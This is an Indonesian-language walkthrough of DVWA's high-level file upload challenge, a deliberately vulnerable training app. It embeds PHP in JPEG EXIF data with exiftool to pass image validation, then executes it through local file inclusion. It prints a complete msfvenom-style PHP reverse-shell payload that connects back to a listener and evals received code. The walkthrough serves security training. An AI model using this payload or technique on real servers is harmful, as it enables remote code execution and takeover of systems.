# High

Di bawah ini adalah *source-code* dari *file upload* level high di DVWA.

```php
vulnerabilities/upload/source/high.php
<?php
​
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
​
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
​
    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {
​
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Kali ini terdapat tambahan fungsi [`getimagesize()`](https://www.geeksforgeeks.org/php-getimagesize-function/) pada validasi yang digunakan untuk memastikan bahwa file yang di-upload user memang lah gambar.

Menurut sepengetahuan saya saat ini, kali ini kita tidak bisa mem-*bypass* file *non-image* lagi.

Setelah berhari-hari mencari solusi, akhirnya saya menemukan jawabannya, yaitu dengan menyisipkan *script* PHP ke dalam EXIF data dari file gambar. Lalu gambar tersebut di-upload ke server target, dan selanjutnya *script* tersebut dijalankan melalui celah *local file inclusion*.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

**Pertama-tama**, siapkan gambar apa pun lalu sisipkan *script* menggunakan [EXIFTOOL](https://exiftool.org/) seperti berikut:

```
exiftool -DocumentName="<?php phpinfo(); die(); ?>" kucing.jpg  
```

Hasilnya, *script* tersebut telah tersimpan di *header* `Document Name` pada file gambar:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M00uNDVzgFg4JN4MUlq%2F-M00ui-BVGD011QicTVN%2Fimage.png?alt=media\&token=37754eb9-ae85-4fd3-9c35-0359ed41830e)

Jika kita mencoba menjalan *script* tersebut melalui PHP CLI, maka akan tampil seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M00uNDVzgFg4JN4MUlq%2F-M00utc2SI2wMVU3v4Q1%2Fimage.png?alt=media\&token=22b0b54c-1747-4334-b0a0-f85ead4c8ec1)

Oke mantap! Selanjutnya, upload file tersebut lalu akses file tersebut melalui celah *local file inclusion*, dan hasilnya akan seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M00uNDVzgFg4JN4MUlq%2F-M00vZd41rlDUP2rXrHr%2Fimage.png?alt=media\&token=91aab757-52ad-4271-ac0c-76e316277b6d)

Terlihat fungsi [`phpinfo()`](https://www.php.net/manual/en/function.phpinfo.php) berhasil dijalankan. Dan selanjutnya kita akan mencoba melakukan *reverse shell* seperti pada level sebelumnya.

### Melakukan Backconnect <a href="#melakukan-backconnect" id="melakukan-backconnect"></a>

Pertama-tama, buat shell menggunakan msfvenom seperti pada level sebelumnya.

Selanjutnya kita sisipkan shell tersebut ke dalam EXIF data gambar, seperti berikut:

```bash
exiftool -DocumentName='<?php /**/ error_reporting(0); $ip = "172.17.0.1"; $port = 1337; if (($f = "stream_socket_client") && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = "stream"; } if (!$s && ($f = "fsockopen") && is_callable($f)) { $s = $f($ip, $port); $s_type = "stream"; } if (!$s && ($f = "socket_create") && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = "socket"; } if (!$s_type) { die("no socket funcs"); } if (!$s) { die("no socket"); } switch ($s_type) { case "stream": $len = fread($s, 4); break; case "socket": $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a["len"]; $b = ""; while (strlen($b) < $len) { switch ($s_type) { case "stream": $b .= fread($s, $len-strlen($b)); break; case "socket": $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS["msgsock"] = $s; $GLOBALS["msgsock_type"] = $s_type; if (extension_loaded("suhosin") && ini_get("suhosin.executor.disable_eval")) { $suhosin_bypass=create_function("", $b); $suhosin_bypass(); } else { eval($b); } die(); __halt_compiler();' kucing.jpg
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M00uNDVzgFg4JN4MUlq%2F-M01-mOiJ9Il0DhuW-Nx%2Fimage.png?alt=media\&token=7a5252b7-5f7a-411f-8bc8-364ed3668a1d)

Pastikan komputer kita (sebagai peretas) telah menjadi *listener* dari *backconnect* tersebut. Lalu, upload file gambar tersebut dan akses melalui celah *local file inclusion*.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M00uNDVzgFg4JN4MUlq%2F-M010J72b_SdPjT8wUJK%2Fimage.png?alt=media\&token=472290a5-2897-42cd-aaa4-766a59a77938)

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M00uNDVzgFg4JN4MUlq%2F-M010j22RacJaF4gX-nM%2Fimage.png?alt=media\&token=35a4e480-a481-43f5-b94f-0e481048cc78)

Jika berhasil, akan tampak seperti gambar di atas. Selamat! 😁

Huft! Banyak pengalaman yang menarik bagi saya di sini. Tetap semangat!

Happy Hacking! 🍻
